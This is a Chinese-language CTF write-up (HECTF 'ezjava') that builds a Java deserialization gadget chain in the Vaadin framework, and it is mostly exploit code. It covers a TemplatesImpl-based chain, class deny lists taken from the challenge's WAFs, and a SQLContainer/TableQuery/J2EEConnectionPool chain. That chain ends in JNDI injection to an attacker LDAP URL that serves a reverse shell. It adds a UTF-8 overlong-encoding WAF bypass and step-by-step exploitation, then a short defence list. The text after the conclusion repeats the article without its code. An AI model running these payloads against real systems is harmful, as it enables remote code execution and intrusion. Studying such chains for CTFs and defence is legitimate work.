从HECTF ezjava 入手 Vaadin 调用链挖掘
字数 1209 2025-08-22 12:22:15

Vaadin反序列化漏洞分析与利用

1. 漏洞背景

Vaadin是一个用于构建Web应用程序的Java框架。在HECTF ezjava题目中,发现Vaadin框架存在反序列化漏洞利用链,可以通过精心构造的Payload实现远程代码执行。

2. 环境搭建

要分析该漏洞,需要搭建以下环境:

<dependency>
    <groupId>com.vaadin</groupId>
    <artifactId>vaadin-server</artifactId>
    <version>7.7.14</version>
</dependency>
<dependency>
    <groupId>com.vaadin</groupId>
    <artifactId>vaadin-shared</artifactId>
    <version>7.7.14</version>
</dependency>

3. 初始利用链分析

3.1 NestedMethodProperty类

初始的sink点在NestedMethodProperty类的getValue方法:

public T getValue() {
    try {
        Object object = instance;
        for (Method m : getMethods) {
            object = m.invoke(object);
            if (object == null) {
                return null;
            }
        }
        return (T) object;
    } catch (final Throwable e) {
        throw new MethodException(this, e);
    }
}

关键点:

  • object可控
  • MethodgetMethods循环获取

3.2 getMethods来源

getMethodsinitialize方法中初始化:

private void initialize(Class<?> beanClass, String propertyName) {
    List<Method> getMethods = new ArrayList<Method>();
    // 解析属性名,获取getter方法
    String[] simplePropertyNames = propertyName.split("\\.");
    for (int i = 0; i < simplePropertyNames.length; i++) {
        String simplePropertyName = simplePropertyNames[i].trim();
        Method getter = MethodProperty.initGetterMethod(simplePropertyName, propertyClass);
        propertyClass = getter.getReturnType();
        getMethods.add(getter);
    }
    // 其他初始化代码...
}

3.3 调用链触发点

getValue方法在PropertysetItemtoString方法中被调用:

public String toString() {
    String retValue = "";
    Iterator<?> i = this.getItemPropertyIds().iterator();
    while (i.hasNext()) {
        Object propertyId = i.next();
        retValue = retValue + this.getItemProperty(propertyId).getValue();
        if (i.hasNext()) {
            retValue = retValue + " ";
        }
    }
    return retValue;
}

3.4 初始Payload构造

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "ooyywwll");
setFieldValue(templates, "_tfactory", null);

PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<?> nestedMethodProperty = new NestedMethodProperty<>(templates, "outputProperties");
pItem.addItemProperty("test", nestedMethodProperty);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException, "val", pItem);

4. WAF绕过分析

题目中存在两个WAF:

4.1 MyObjectInputStream WAF

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String className = desc.getName().toLowerCase();
    String[] denyClasses = {
        "java.net.InetAddress",
        "org.apache.commons.collections.Transformer",
        "org.apache.commons.collections.functors",
        "C3P0",
        "Jackson",
        "NestedMethodProperty",
        "TemplatesImpl"
    };
    // 检查黑名单...
}

4.2 normal类WAF

public boolean blacklist(String data) {
    String[] blacklist = {
        "BadAttributeValueExpException",
        "Collections$UnmodifiableList",
        "PropertysetItem",
        "AbstractClientConnector",
        "Enum",
        "SQLContainer",
        "LinkedHashMap",
        "TableQuery",
        "AbstractTransactionalQuery",
        "J2EEConnectionPool",
        "DefaultSQLGenerator"
    };
    // 检查黑名单...
}

5. 替代利用链分析

由于初始利用链被WAF拦截,需要寻找替代方案。

5.1 AbstractSelect的getValue方法

public Object getValue() {
    Object retValue = super.getValue();
    if (retValue != null && this.items != null && this.items.containsId(retValue)) {
        return retValue;
    }
    // 其他代码...
}

关键点:

  • items可控
  • retValue可控
  • 调用containsId方法

5.2 SQLContainer的containsId方法

public boolean containsId(Object itemId) {
    if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
        try {
            return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());
        } catch (Exception var4) {
            getLogger().log(Level.WARNING, "containsId query failed", var4);
        }
    }
    // 其他代码...
}

5.3 TableQuery的containsRowWithKey方法

public boolean containsRowWithKey(Object... keys) throws SQLException {
    // 构建查询条件
    StatementHelper sh = this.sqlGenerator.generateSelectQuery(...);
    // 开始事务
    boolean shouldCloseTransaction = false;
    if (!this.isInTransaction()) {
        shouldCloseTransaction = true;
        this.beginTransaction();
    }
    // 执行查询...
}

5.4 J2EEConnectionPool的reserveConnection方法

public Connection reserveConnection() throws SQLException {
    Connection conn = this.getDataSource().getConnection();
    conn.setAutoCommit(false);
    return conn;
}

private DataSource getDataSource() throws SQLException {
    if (this.dataSource == null) {
        this.dataSource = this.lookupDataSource();
    }
    return this.dataSource;
}

private DataSource lookupDataSource() throws SQLException {
    try {
        InitialContext ic = new InitialContext();
        return (DataSource)ic.lookup(this.dataSourceJndiName);
    } catch (NamingException var2) {
        throw new SQLException("NamingException - Cannot connect to the database. Cause: " + var2.getMessage());
    }
}

最终sink点是JNDI注入。

6. 最终Payload构造

J2EEConnectionPool j2EEConnectionPool = new J2EEConnectionPool("ldap://ip:1389/Basic/ReverseShell/ip/2333");

// 反射创建TableQuery实例
Class<TableQuery> clazz3 = (Class<TableQuery>) Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, Object.class.getConstructor());
TableQuery tableQuery = (TableQuery) sc.newInstance();

// 设置TableQuery属性
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
setFieldValue(tableQuery, "connectionPool", j2EEConnectionPool);

// 创建SQLContainer
Class<SQLContainer> clazz = (Class<SQLContainer>) Class.forName("com.vaadin.data.util.sqlcontainer.SQLContainer");
Constructor<?> a = clazz.getDeclaredConstructor();
a.setAccessible(true);
SQLContainer sql = (SQLContainer) a.newInstance();
setFieldValue(sql, "queryDelegate", tableQuery);

// 创建ListSelect
ListSelect listSelect = new ListSelect();
RowId id = new RowId("id");
setFieldValue(listSelect, "value", id);
setFieldValue(listSelect, "multiSelect", true);
setFieldValue(listSelect, "items", sql);

// 构建最终对象
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException, "val", propertysetItem);

7. UTF-8编码绕过WAF

为了绕过normal类的黑名单检查,可以使用UTF-8 overlong encoding技术:

public class UTF8_overlong_encode extends ObjectOutputStream {
    // 实现UTF-8 overlong编码
    // ...
    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
        String name = desc.getName();
        // 使用三字节编码替换原始类名
        charWriteThreeBytes(name);
        // 写入其他描述符信息...
    }
}

8. 漏洞利用步骤总结

  1. 构造J2EEConnectionPool指向恶意LDAP服务器
  2. 通过反射创建TableQuery并设置connectionPool
  3. 创建SQLContainer并设置queryDelegate为TableQuery
  4. 创建ListSelect并设置items为SQLContainer
  5. 将ListSelect添加到PropertysetItem
  6. 使用BadAttributeValueExpException作为入口点
  7. 使用UTF-8 overlong编码绕过WAF检查
  8. 发送恶意序列化数据触发漏洞

9. 防御措施

  1. 避免反序列化不可信数据
  2. 使用白名单机制替代黑名单
  3. 更新到最新版本的Vaadin框架
  4. 实施严格的输入验证
  5. 使用Java安全管理器限制敏感操作

10. 总结

该漏洞利用链展示了如何通过Vaadin框架的反序列化功能实现远程代码执行,同时演示了如何绕过WAF防护措施。关键在于理解框架内部的对象交互和调用链构造,以及使用编码技术绕过安全检测。

Vaadin反序列化漏洞分析与利用 1. 漏洞背景 Vaadin是一个用于构建Web应用程序的Java框架。在HECTF ezjava题目中,发现Vaadin框架存在反序列化漏洞利用链,可以通过精心构造的Payload实现远程代码执行。 2. 环境搭建 要分析该漏洞,需要搭建以下环境: 3. 初始利用链分析 3.1 NestedMethodProperty类 初始的sink点在 NestedMethodProperty 类的 getValue 方法: 关键点: object 可控 Method 从 getMethods 循环获取 3.2 getMethods来源 getMethods 在 initialize 方法中初始化: 3.3 调用链触发点 getValue 方法在 PropertysetItem 的 toString 方法中被调用: 3.4 初始Payload构造 4. WAF绕过分析 题目中存在两个WAF: 4.1 MyObjectInputStream WAF 4.2 normal类WAF 5. 替代利用链分析 由于初始利用链被WAF拦截,需要寻找替代方案。 5.1 AbstractSelect的getValue方法 关键点: items 可控 retValue 可控 调用 containsId 方法 5.2 SQLContainer的containsId方法 5.3 TableQuery的containsRowWithKey方法 5.4 J2EEConnectionPool的reserveConnection方法 最终sink点是JNDI注入。 6. 最终Payload构造 7. UTF-8编码绕过WAF 为了绕过normal类的黑名单检查,可以使用UTF-8 overlong encoding技术: 8. 漏洞利用步骤总结 构造J2EEConnectionPool指向恶意LDAP服务器 通过反射创建TableQuery并设置connectionPool 创建SQLContainer并设置queryDelegate为TableQuery 创建ListSelect并设置items为SQLContainer 将ListSelect添加到PropertysetItem 使用BadAttributeValueExpException作为入口点 使用UTF-8 overlong编码绕过WAF检查 发送恶意序列化数据触发漏洞 9. 防御措施 避免反序列化不可信数据 使用白名单机制替代黑名单 更新到最新版本的Vaadin框架 实施严格的输入验证 使用Java安全管理器限制敏感操作 10. 总结 该漏洞利用链展示了如何通过Vaadin框架的反序列化功能实现远程代码执行,同时演示了如何绕过WAF防护措施。关键在于理解框架内部的对象交互和调用链构造,以及使用编码技术绕过安全检测。